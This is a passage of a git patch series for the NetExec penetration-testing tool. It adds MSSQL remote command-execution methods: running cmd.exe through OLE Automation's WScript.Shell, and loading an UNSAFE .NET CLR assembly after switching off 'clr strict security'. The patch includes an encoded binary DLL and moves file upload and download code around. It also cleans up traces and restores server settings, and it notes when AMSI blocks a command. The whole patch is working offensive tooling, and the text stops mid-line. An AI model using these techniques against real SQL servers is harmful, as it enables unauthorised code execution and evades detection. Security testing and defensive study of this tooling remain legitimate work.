From f30c6a997c0ce545ac37e08caffa281080505dac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 4 Jun 2026 15:28:38 +0200 Subject: [PATCH 01/11] Make MSSQL great again --- nxc/data/mssql_clr/default_cmd_assembly.dll | Bin 0 -> 4096 bytes nxc/protocols/mssql.py | 121 ++++++++++--- nxc/protocols/mssql/clrexec.py | 180 ++++++++++++++++++++ nxc/protocols/mssql/mssqlexec.py | 38 +---- nxc/protocols/mssql/oleexec.py | 105 ++++++++++++ nxc/protocols/mssql/proto_args.py | 13 +- 6 files changed, 394 insertions(+), 63 deletions(-) create mode 100644 nxc/data/mssql_clr/default_cmd_assembly.dll create mode 100644 nxc/protocols/mssql/clrexec.py create mode 100644 nxc/protocols/mssql/oleexec.py diff --git a/nxc/data/mssql_clr/default_cmd_assembly.dll b/nxc/data/mssql_clr/default_cmd_assembly.dll new file mode 100644 index 0000000000000000000000000000000000000000..6447462fbbb31bd1753cf42dedb07d1783fe1352 GIT binary patch literal 4096 zcmeHKO>7%Q6n?w;vz^4vPn$GCO*W)0rWBJjsY>~E6Q^xx{)pX_7NlftPm&Gm9cOpl zCY30W5I>bb;(!oG#HAdH!~uy4#1+J$oH%d*lnW=Mazz|kzBjv$lTuOjPzj-qGjHDC zym{}%G|}%QH%@Ty)K% zkvAPj`bJI|ZrL#`$4F0QjG`=vWOH+DZ)kdYlxSS5q1IyWa%Hs*(t8`VMxqEf^#M2e z2u1@vg-+C>a6Ryw8SKAm>ww^MtD)4Jtjd4YF(jFV_S1f%3?nI`Ps4dkZnk-%rcL4= z5F>EEG9v=|WQD+(^u?-=ai{^nK<8L*TOaKCr0cnPh?H+BARK56eM?Kh`=l#u2}R}W zJcMj3j=rU(h=#Y23T@%MqOor})zQITqN{a8n&RF&Xz#D1Z!rz?Tgij7u~@x?y_gG5 zNn$r+6f#=D*g**-AeKP%F&V82J0)VQXm&`Pg$mIr5h4@K81~mo#2Ax102=Eh_BlqK z??GE@j&`_RSfHoL_!!b<539vKiF$1qniB1R5xJAqBOMKL7b79FV-uI1j2`IL6T5*N zK=Lv#3~OO#IM3&YlKsiS{=tExoToan0e?oAeV33=%RbfS#lQQ1f&O_!W8^@H@a5MYS6^B8RjdEly7X)>BCvfb>`GN8mRBW7MPHfaYWR z^MHpHKBC|xAh%!*&WeV3kTK+e@o9slAJQ`BY4mU}Q*Z5FgHGV}>(oVSw3B)PTj)^* z2SRvC>!zc0R_ntNTF?@7j4o&g!MOy^QF>Q91b9WkuK@?>2ki*p@7mM!B1QEC@OHh0 z&ca%XEWnerLbLi5usJ;oPDwup{37r*x(v-IM!rxUf=@|mq*npk$w$U&*WvcI_8TZJ z!AjHAj^56DUWvEs4OFHOJu@K-Wm`N)rss)b&R$CvY@0H^bVXs>m3dJpyTYTQmzS<> zuZH^h=bp0`BLDHh|=c<$k>NsMU zG>bxsW=*>+kXSB3#N*^mpIGUbyI3v?$M+O9BMO#_%)*dUFx|pb*)Np?#nYb1ED75V z6RFfkTw(fRQl7D#g1i9haHg^mV^h4EFpD$7EC{#a-&V6(T>PPwhpZgM&YUqV|G0EV zS1p)Yu_uIY2K&2Wr*pik%w^7uz?mp8g>cjx!b!BCz^PD3MmU8T;gxOQ3w;v^O{HLq zXog*{YO)iwBTq%bF(E;#=+y88zj3uRNUzCXDDvgS zS7y70HZG&~wbp2jL0YY$X^~pK9cm3~+rwlW{CFMd@pzm`9i+~}eGNv97H=Jh)q}gI z?QxV%+p~4R+YZ+mx)zDY8fx3R;%$c^i)iYhBet#tp{)*(&c}RWdgs-L!2_n3fY%pb)A&S>x6|*il~-RsH`H#&q9_h@ohB+I7&0X#%PKrL5~3*2hQ!A+COeqUJ=Cz zL2!cx_v#k2N}2}LVAUiSb}YQR0yZ65AgSbg)eW76)CAXq+{Ed%Aaz3PpVwYRKpK4V zp=E);cn3@GD4l-99sGtU$2p*bc*C?!{WMnhP$z7sv~3*&y8Sq>Roz+Wy3nrr(vNDZ zc03K#41JEqSGo>-w~;Rsm5GYPh&u~d5x&@Xx00w=8$WId<<~f*i)z*gA}&FPJzJzD zSR@=@qO@9LD&%wYyhbIHOx=C0Ar;p&Y)E)eM*Kc@WP5bgxHv|_cL?X=*liIQcb$i+ Y58D08fD!!9(0}B9E%3nZe>nqx10Iv|AOHXW literal 0 HcmV?d00001 diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index b7edc248ec..fa03bf2220 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -12,6 +12,9 @@ from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message from nxc.helpers.powershell import create_ps_command from nxc.protocols.mssql.mssqlexec import MSSQLEXEC +from nxc.protocols.mssql.oleexec import OLEEXEC +from nxc.protocols.mssql.clrexec import CLREXEC + from impacket import tds, ntlm from impacket.krb5.ccache import CCache @@ -44,6 +47,7 @@ def __init__(self, args, db, host): self.lmhash = "" self.nthash = "" self.no_ntlm = False + self.args = args connection.__init__(self, args, db, host) @@ -310,31 +314,104 @@ def query(self): return raw_output @requires_admin - def execute(self, payload=None, get_output=False): - payload = self.args.execute if not payload and self.args.execute else payload - if not payload: - self.logger.error("No command to execute specified!") - return None + def execute(self, payload=None, get_output=False, methods=None) -> str: + """ + Executes a command on the target host using CMD.exe and the specified method(s). + + Args: + ---- + payload (str): The command to execute + get_output (bool): Whether to get the output of the command (can be useful for AV evasion) + methods (list): The method(s) to use for command execution + + Returns: + ------- + str: The output of the command + """ + if getattr(self.args, "exec_method_explicitly_set", False): + methods = [self.args.exec_method] + if not methods: + methods = ["mssqlexec", "oleexec", "clrexec"] + + if not payload and self.args.execute: + payload = self.args.execute + if not self.args.no_output: + get_output = True + + current_method = "" + for method in methods: + current_method = method + if method == "mssqlexec": + try: + exec_method = MSSQLEXEC(self.conn, self.logger) + self.logger.debug("MSSQLEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate MSSQLEXEC method: {e!s}") + continue + elif method == "oleexec": + try: + exec_method = OLEEXEC(self.conn, self.logger) + self.logger.debug("OLEEXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate OLEEXEC method: {e!s}") + continue + elif method == "clrexec": + try: + exec_method = CLREXEC(self.conn, self.logger) + self.logger.debug("CLREXEC execution method instantiated") + break + except Exception as e: + self.logger.fail(f"Couldn't instantiate CLREXEC method: {e!s}") + continue - get_output = True if not self.args.no_output else get_output - self.logger.debug(f"{get_output=}") + if "exec_method" in locals(): + + # This part is hacky because we need to be able to determine whether the user used -x/-X with a command + # Or with a custom assembly to execute. + clr_assembly_explicitly_set = getattr(self.args, "clr_assembly_explicitly_set", False) + if (self.args.execute is True or self.args.ps_execute is True) and not clr_assembly_explicitly_set: + if self.args.execute is True: + self.logger.fail("-x requires a command to execute") + if self.args.ps_execute is True: + self.logger.fail("-X requires a command to execute") + return "" + + if method == "clrexec": + # if --clr-assembly is explicitly set then we don't have to provide the command to execute at all + # As such we overwrite it so that clrexec.py simply execute the provided CLR. + if getattr(self.args, "clr_assembly_explicitly_set", False): + payload = None + # Otherwise we rely on the default assembly that calls cmd /c payload + output = exec_method.execute(payload, get_output, self.args) + else: + output = exec_method.execute(payload, get_output) - output = "" - try: - exec_method = MSSQLEXEC(self.conn, self.logger) - output = exec_method.execute(payload) - self.logger.debug(f"Output: {output}") - except Exception as e: - self.logger.fail(f"Execute command failed, error: {e!s}") - return False + try: + if not isinstance(output, str): + output = output.decode(self.args.codec) + except UnicodeDecodeError: + self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings") + output = output.decode("cp437") + + self.logger.debug(f"Raw Output: {output}") + output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()]) + self.logger.debug(f"Cleaned Output: {output}") + + if "This script contains malicious content" in output: + self.logger.fail("Command execution blocked by AMSI") + return "" + + if (self.args.execute or self.args.ps_execute or self.args.clr_assembly_explicitly_set): + self.logger.success(f"Executed command via {current_method}") + if output: + for line in output.split("\n"): + self.logger.highlight(line) + return output else: - if self.conn.lastError: - self.logger.fail(f"Error during command execution: {self.conn.lastError}") - else: - self.logger.success("Executed command via mssqlexec") - for line in output.splitlines(): - self.logger.highlight(line.strip()) - return output + self.logger.fail(f"Execute command failed with {current_method}") + return "" @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): diff --git a/nxc/protocols/mssql/clrexec.py b/nxc/protocols/mssql/clrexec.py new file mode 100644 index 0000000000..e543d64e09 --- /dev/null +++ b/nxc/protocols/mssql/clrexec.py @@ -0,0 +1,180 @@ +from pathlib import Path +from nxc.helpers.misc import gen_random_string + + +class CLREXEC: + def __init__(self, connection, logger): + self.mssql_conn = connection + self.logger = logger + self.assembly_name = f"nxc_mssql_{gen_random_string(10)}" + self.procedure_name = f"nxc_mssql_{gen_random_string(10)}" + self.backuped_options = {} + self.assembly_hex = None + + def execute(self, command, get_output, args=None) -> str: + self.classname = getattr(args, "clr_classname", "StoredProcedures") + self.method = getattr(args, "clr_method", "ExecuteCommand") + self.clr_assembly = getattr(args, "clr_assembly", "") + + if not Path(self.clr_assembly).is_file(): + self.logger.fail(f"CLR assembly not found: {self.clr_assembly}") + return "" + + with open(self.clr_assembly, "rb") as f: + data = f.read() + self.assembly_hex = f"0x{data.hex()}" + + self.backup_and_enable("advanced options") + self.backup_and_enable("clr enabled") + self.backup_and_disable("clr strict security") + + self._cleanup_stale() + + trust_query = f""" + DECLARE @hash VARBINARY(64); + SELECT @hash = HASHBYTES('SHA2_512', {self.assembly_hex}); + EXEC sp_add_trusted_assembly @hash = @hash, @description = N'{self.assembly_name}'; + """ + self.logger.debug(f"Trusting the assembly: {trust_query}") + self.mssql_conn.sql_query(trust_query) + if self.mssql_conn.lastError: + self.logger.error(f"Error trusting assembly: {self.mssql_conn.lastError}") + self._cleanup() + self._restore_all() + return "" + + create_assembly_query = f""" + CREATE ASSEMBLY [{self.assembly_name}] + FROM {self.assembly_hex} + WITH PERMISSION_SET = UNSAFE; + """ + self.logger.debug(f"Creating assembly: {create_assembly_query}") + self.mssql_conn.sql_query(create_assembly_query) + if self.mssql_conn.lastError: + self.logger.error(f"Error creating assembly: {self.mssql_conn.lastError}") + self._cleanup() + self._restore_all() + return "" + + create_proc_query = f""" + CREATE PROCEDURE [{self.procedure_name}] @cmd NVARCHAR(4000) + AS EXTERNAL NAME [{self.assembly_name}].[{self.classname}].[{self.method}]; + """ + self.logger.debug(f"Creating procedure: {create_proc_query}") + self.mssql_conn.sql_query(create_proc_query) + if self.mssql_conn.lastError: + self.logger.error(f"Error creating procedure: {self.mssql_conn.lastError}") + self._cleanup() + self._restore_all() + return "" + + exec_query = f"EXEC [{self.procedure_name}] @cmd = N'{command}';" + self.logger.debug(f"Executing: {exec_query}") + raw = self.mssql_conn.sql_query(exec_query) + if self.mssql_conn.lastError: + self.logger.error(f"Error executing procedure: {self.mssql_conn.lastError}") + self._cleanup() + self._restore_all() + return "" + + self.logger.debug(f"Raw results: {raw}") + output = "" + if raw and raw[0]: + first_val = list(raw[0].values())[0] + output = first_val.decode("cp850").strip() if isinstance(first_val, bytes) else str(first_val).strip() + + self._cleanup() + self._restore_all() + return output + + def _cleanup_stale(self): + stale_query = f""" + DECLARE @asm_name SYSNAME, @proc_name SYSNAME; + DECLARE cur CURSOR FOR + SELECT name FROM sys.assemblies WHERE name = '{self.assembly_name}'; + OPEN cur; + FETCH NEXT FROM cur INTO @asm_name; + WHILE @@FETCH_STATUS = 0 + BEGIN + SELECT TOP 1 @proc_name = OBJECT_NAME(m.object_id) + FROM sys.assembly_modules m + JOIN sys.assemblies a ON m.assembly_id = a.assembly_id + WHERE a.name = @asm_name; + IF @proc_name IS NOT NULL + EXEC('DROP PROCEDURE [' + @proc_name + ']'); + EXEC('DROP ASSEMBLY [' + @asm_name + ']'); + FETCH NEXT FROM cur INTO @asm_name; + END; + CLOSE cur; + DEALLOCATE cur; + """ + self.logger.debug("Cleaning up stale nxc assemblies") + self.mssql_conn.sql_query(stale_query) + + def _cleanup(self): + if not self.assembly_hex: + return + + untrust_query = f""" + DECLARE @hash VARBINARY(64); + SELECT @hash = HASHBYTES('SHA2_512', {self.assembly_hex}); + EXEC sp_drop_trusted_assembly @hash = @hash; + """ + self.logger.debug(f"Untrusting the assembly: {untrust_query}") + self.mssql_conn.sql_query(untrust_query) + if self.mssql_conn.lastError: + self.logger.error(f"Untrusting the assembly failed, artifacts may remain: {self.mssql_conn.lastError}") + + cleanup_query = f""" + IF OBJECT_ID('{self.procedure_name}') IS NOT NULL + DROP PROCEDURE [{self.procedure_name}]; + IF EXISTS (SELECT 1 FROM sys.assemblies WHERE name = '{self.assembly_name}') + DROP ASSEMBLY [{self.assembly_name}]; + """ + self.logger.debug(f"Removing the assembly and the procedure: {cleanup_query}") + self.mssql_conn.sql_query(cleanup_query) + if self.mssql_conn.lastError: + self.logger.error(f"Removing the assembly and the procedure failed, artifacts may remain: {self.mssql_conn.lastError}") + + def _restore_all(self): + self.restore("clr strict security") + self.restore("clr enabled") + self.restore("advanced options") + + def restore(self, option): + try: + original = self.backuped_options.get(option) + if original is None: + return + target_val = 1 if original else 0 + query = f"EXEC master.dbo.sp_configure '{option}', {target_val};RECONFIGURE;" + self.logger.debug(f"Restoring '{option}' to {target_val}: {query}") + self.mssql_conn.sql_query(query) + except Exception as e: + self.logger.error(f"[OPSEC] Error restoring '{option}': {e}") + + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" + self.logger.debug(f"Enabling '{option}': {query}") + self.mssql_conn.sql_query(query) + except Exception as e: + self.logger.error(f"Error enabling '{option}': {e}") + + def backup_and_disable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if self.backuped_options[option]: + query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" + self.logger.debug(f"Disabling '{option}': {query}") + self.mssql_conn.sql_query(query) + except Exception as e: + self.logger.error(f"Error disabling '{option}': {e}") + + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + result = self.mssql_conn.sql_query(query) + self.logger.debug(f"'{option}' check result: {result}") + return bool(result and result[0]["config_value"] == 1) \ No newline at end of file diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 12203d6ca7..f5af50df7a 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -9,7 +9,7 @@ def __init__(self, connection, logger): # Store the original state of options that have to be enabled/disabled in order to restore them later self.backuped_options = {} - def execute(self, command): + def execute(self, command, get_output, clr_assembly=None): result = "" self.backup_and_enable("advanced options") @@ -66,39 +66,3 @@ def is_option_enabled(self, option): # Assuming the query returns a list of dictionaries with 'config_value' as the key self.logger.debug(f"{option} check result: {result}") return bool(result and result[0]["config_value"] == 1) - - def put_file(self, data, remote): - try: - self.backup_and_enable("advanced options") - self.backup_and_enable("Ole Automation Procedures") - hexdata = data.hex() - self.logger.debug(f"Hex data to write to file: {hexdata}") - query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - self.restore("Ole Automation Procedures") - self.restore("advanced options") - except Exception as e: - self.logger.debug(f"Error uploading via mssqlexec: {e}") - - def file_exists(self, remote): - try: - query = f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n" - self.logger.debug(f"Executing query: {query}") - res = self.mssql_conn.batch(query) - self.logger.debug(f"File check response: {res}") - return res[0]["n"] == 1 - except Exception: - return False - - def get_file(self, remote, local): - try: - query = f"SELECT * FROM OPENROWSET(BULK N'{remote}', SINGLE_BLOB) rs" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - data = self.mssql_conn.rows - self.logger.debug(f"Get file returned: {data}") - with open(local, "wb+") as f: - f.write(binascii.unhexlify(data[0]["BulkColumn"])) - except Exception as e: - self.logger.debug(f"Error downloading via mssqlexec: {e}") diff --git a/nxc/protocols/mssql/oleexec.py b/nxc/protocols/mssql/oleexec.py new file mode 100644 index 0000000000..407eec11c9 --- /dev/null +++ b/nxc/protocols/mssql/oleexec.py @@ -0,0 +1,105 @@ +from nxc.helpers.misc import gen_random_string + + +class OLEEXEC: + def __init__(self, connection, logger): + self.mssql_conn = connection + self.logger = logger + self.default_output_dir = "c:\\Windows\\Temp\\" + self.output_file = f"{gen_random_string(6)}.log" + + # Store the original state of options that have to be enabled/disabled in order to restore them later + self.backuped_options = {} + + def execute(self, command, get_output, clr_assembly=None): + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") + + command_query = f""" + DECLARE @shell INT; + EXEC sp_oacreate 'WScript.Shell', @shell OUT; + EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c "{command}" > {self.default_output_dir}{self.output_file}', 0, 1;; + EXEC sp_oadestroy @shell; + """ + self.logger.debug(f"Attempting to execute query: {command_query}") + raw = self.mssql_conn.sql_query(command_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error running {command_query} : {self.mssql_conn.lastError}") + + read_answer_query = f""" + DECLARE @fso INT, @file INT, @line VARCHAR(8000), @result VARCHAR(MAX), @eof INT; + SET @result = ''; + + EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT; + EXEC sp_OAMethod @fso, 'OpenTextFile', @file OUT, '{self.default_output_dir}{self.output_file}', 1; + + WHILE 1=1 + BEGIN + EXEC sp_OAGetProperty @file, 'AtEndOfStream', @eof OUT; + IF @eof = 1 BREAK; + EXEC sp_OAMethod @file, 'ReadLine', @line OUT; + SET @result = @result + ISNULL(@line, '') + CHAR(10); + END; + + EXEC sp_OAMethod @fso, 'Close', NULL; + EXEC sp_OADestroy @file; + EXEC sp_OADestroy @fso; + + SELECT @result; + """ + self.logger.debug(f"Attempting to execute query: {read_answer_query}") + raw = self.mssql_conn.sql_query(read_answer_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error running the command execution query : {self.mssql_conn.lastError}") + + self.logger.debug(f"Raw results from query: {raw}") + output = raw[0][""].decode("cp850").strip() + + # Delete output file + delete_query = f""" + DECLARE @fso INT; + EXEC sp_OACreate 'Scripting.FileSystemObject', @fso OUT; + EXEC sp_OAMethod @fso, 'DeleteFile', NULL, '{self.default_output_dir}{self.output_file}'; + EXEC sp_OADestroy @fso; + """ + self.logger.debug(f"Attempting to execute query: {delete_query}") + raw = self.mssql_conn.sql_query(delete_query) + if self.mssql_conn.lastError: + self.logger.debug(f"Error while deleting '{self.default_output_dir}{self.output_file}': {self.mssql_conn.lastError}") + + self.restore("Ole Automation Procedures") + self.restore("advanced options") + return output + + def restore(self, option): + try: + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") + except Exception as e: + self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") + + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error when checking/enabling option '{option}': {e}") + + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if {option} is enabled: {query}") + result = self.mssql_conn.sql_query(query) + # Assuming the query returns a list of dictionaries with 'config_value' as the key + self.logger.debug(f"{option} check result: {result}") + return bool(result and result[0]["config_value"] == 1) diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..ce7218aeae 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -1,4 +1,6 @@ -from nxc.helpers.args import DisplayDefaultsNotNone +from os import path +from nxc.paths import DATA_PATH +from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction def proto_args(parser, parents): @@ -16,12 +18,15 @@ def proto_args(parser, parents): cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") - cgroup = mssql_parser.add_argument_group("Command Execution") + cgroup.add_argument("--exec-method", choices={"mssqlexec", "oleexec", "clrexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) + cgroup.add_argument("--clr-assembly", default=f"{path.join(DATA_PATH, 'mssql_clr/default_cmd_assembly.dll')}", help="Path to the .NET assembly to execute via clrexec. If not provided, uses the built-in assembly.", action=DefaultTrackingAction) + cgroup.add_argument("--clr-classname", default="StoredProcedures", help="CLR class name in the assembly (default: StoredProcedures)") + cgroup.add_argument("--clr-method", default="ExecuteCommand", help="CLR method name in the assembly (default: ExecuteCommand)") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") xgroup = cgroup.add_mutually_exclusive_group() - xgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command") - xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") + xgroup.add_argument("-x", metavar="COMMAND", dest="execute", nargs="?", const=True, help="execute the specified command") + xgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", nargs="?", const=True, help="execute the specified PowerShell command") psgroup = mssql_parser.add_argument_group("Powershell Options") psgroup.add_argument("--force-ps32", action="store_true", default=False, help="Force the PowerShell command to run in a 32-bit process via a job; WARNING: depends on the job completing quickly, so you may have to increase the timeout") From 8c33f7e8af55acb054f341adaf00061eeec2578c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Thu, 4 Jun 2026 17:13:08 +0200 Subject: [PATCH 02/11] Make MSSQL great again --- nxc/protocols/mssql.py | 87 ++++++++++++++++++++++++++------ nxc/protocols/mssql/clrexec.py | 57 ++++----------------- nxc/protocols/mssql/mssqlexec.py | 54 +++----------------- nxc/protocols/mssql/oleexec.py | 53 ++++--------------- 4 files changed, 98 insertions(+), 153 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index fa03bf2220..0ccd3df6d9 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -1,5 +1,6 @@ import os import random +import binascii import contextlib from termcolor import colored @@ -48,6 +49,7 @@ def __init__(self, args, db, host): self.nthash = "" self.no_ntlm = False self.args = args + self.backuped_options = {} connection.__init__(self, args, db, host) @@ -343,7 +345,7 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: current_method = method if method == "mssqlexec": try: - exec_method = MSSQLEXEC(self.conn, self.logger) + exec_method = MSSQLEXEC(self) self.logger.debug("MSSQLEXEC execution method instantiated") break except Exception as e: @@ -351,7 +353,7 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: continue elif method == "oleexec": try: - exec_method = OLEEXEC(self.conn, self.logger) + exec_method = OLEEXEC(self) self.logger.debug("OLEEXEC execution method instantiated") break except Exception as e: @@ -359,7 +361,7 @@ def execute(self, payload=None, get_output=False, methods=None) -> str: continue elif method == "clrexec": try: - exec_method = CLREXEC(self.conn, self.logger) + exec_method = CLREXEC(self) self.logger.debug("CLREXEC execution method instantiated") break except Exception as e: @@ -442,19 +444,24 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa @requires_admin def put_file(self): - self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}") - with open(self.args.put_file[0], "rb") as f: + download_path = self.args.put_file[0] + remote_path = self.args.put_file[1] + self.logger.display(f"Copy {download_path} to {remote_path}") + with open(download_path, "rb") as f: + data = f.read() + self.logger.display(f"Size is {len(data)} bytes") try: - data = f.read() - self.logger.display(f"Size is {len(data)} bytes") - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.put_file(data, self.args.put_file[1]) - if exec_method.file_exists(self.args.put_file[1]): - self.logger.success("File has been uploaded on the remote machine") - else: - self.logger.fail("File does not exist on the remote system... error during upload") + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") + hexdata = data.hex() + self.logger.debug(f"Hex data to write to file: {hexdata}") + query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote_path}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" + self.logger.debug(f"Executing query: {query}") + self.conn.sql_query(query) + self.restore("Ole Automation Procedures") + self.restore("advanced options") except Exception as e: - self.logger.fail(f"Error during upload : {e}") + self.logger.debug(f"Error uploading via mssqlexec: {e}") @requires_admin def get_file(self): @@ -463,8 +470,13 @@ def get_file(self): self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: - exec_method = MSSQLEXEC(self.conn, self.logger) - exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) + query = f"SELECT * FROM OPENROWSET(BULK N'{remote_path}', SINGLE_BLOB) rs" + self.logger.debug(f"Executing query: {query}") + self.conn.sql_query(query) + data = self.conn.rows + self.logger.debug(f"Get file returned: {data}") + with open(download_path, "wb+") as f: + f.write(binascii.unhexlify(data[0]["BulkColumn"])) self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error reading file "{remote_path}": {e}') @@ -695,3 +707,46 @@ def lsa(self): ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if '{option}' is enabled: {query}") + result = self.conn.sql_query(query) + self.logger.debug(f"'{option}' check result: {result}") + return bool(result and result[0]["config_value"] == 1) + + @requires_admin + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, enabling it.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;") + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error enabling '{option}': {e}") + + @requires_admin + def backup_and_disable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is enabled, disabling it.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;") + else: + self.logger.debug(f"Option '{option}' is already disabled.") + except Exception as e: + self.logger.error(f"Error disabling '{option}': {e}") + + @requires_admin + def restore(self, option): + try: + original = self.backuped_options.get(option) + if original is None: + return + target_val = 1 if original else 0 + self.logger.debug(f"Restoring '{option}' to {target_val}.") + self.conn.sql_query(f"EXEC master.dbo.sp_configure '{option}', {target_val};RECONFIGURE;") + except Exception as e: + self.logger.error(f"[OPSEC] Error restoring '{option}': {e}") diff --git a/nxc/protocols/mssql/clrexec.py b/nxc/protocols/mssql/clrexec.py index e543d64e09..14bf1addf3 100644 --- a/nxc/protocols/mssql/clrexec.py +++ b/nxc/protocols/mssql/clrexec.py @@ -3,9 +3,10 @@ class CLREXEC: - def __init__(self, connection, logger): - self.mssql_conn = connection - self.logger = logger + def __init__(self, mssql): + self.mssql = mssql + self.mssql_conn = mssql.conn + self.logger = mssql.logger self.assembly_name = f"nxc_mssql_{gen_random_string(10)}" self.procedure_name = f"nxc_mssql_{gen_random_string(10)}" self.backuped_options = {} @@ -24,9 +25,9 @@ def execute(self, command, get_output, args=None) -> str: data = f.read() self.assembly_hex = f"0x{data.hex()}" - self.backup_and_enable("advanced options") - self.backup_and_enable("clr enabled") - self.backup_and_disable("clr strict security") + self.mssql.backup_and_enable("advanced options") + self.mssql.backup_and_enable("clr enabled") + self.mssql.backup_and_disable("clr strict security") self._cleanup_stale() @@ -137,44 +138,6 @@ def _cleanup(self): self.logger.error(f"Removing the assembly and the procedure failed, artifacts may remain: {self.mssql_conn.lastError}") def _restore_all(self): - self.restore("clr strict security") - self.restore("clr enabled") - self.restore("advanced options") - - def restore(self, option): - try: - original = self.backuped_options.get(option) - if original is None: - return - target_val = 1 if original else 0 - query = f"EXEC master.dbo.sp_configure '{option}', {target_val};RECONFIGURE;" - self.logger.debug(f"Restoring '{option}' to {target_val}: {query}") - self.mssql_conn.sql_query(query) - except Exception as e: - self.logger.error(f"[OPSEC] Error restoring '{option}': {e}") - - def backup_and_enable(self, option): - try: - self.backuped_options[option] = self.is_option_enabled(option) - if not self.backuped_options[option]: - query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" - self.logger.debug(f"Enabling '{option}': 